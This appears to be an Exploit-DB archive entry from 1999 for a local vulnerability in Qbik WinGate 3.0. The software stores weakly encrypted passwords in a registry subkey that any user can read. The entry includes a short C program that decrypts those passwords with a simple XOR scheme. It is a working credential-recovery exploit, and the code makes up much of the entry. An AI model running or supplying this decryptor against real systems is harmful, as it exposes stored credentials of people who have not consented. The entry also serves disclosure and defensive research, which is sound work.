Qbik WinGate 3.0 Registry Vulnerability

1999-02-22T00:00:00
ID EDB-ID:19412
Type exploitdb
Reporter Chris
Modified 1999-02-22T00:00:00

Description

Qbik WinGate 3.0 Registry Vulnerability. Local exploit for windows platform

                                        
                                            source: http://www.securityfocus.com/bid/511/info

WinGate stores encrypted passwords in the registry, in a subkey where Everyone has Read access by default. The encryption scheme is weak, and therefore anyone can get and decrypt them.

#include "stdafx.h"
#include <stdio.h>
#include <string.h>

main(int argc, char *argv[]) {
char i;

for(i = 0; i < strlen(argv[1]); i++)
putchar(argv[1][i]^(char)((i + 1) << 1));
return 0;

}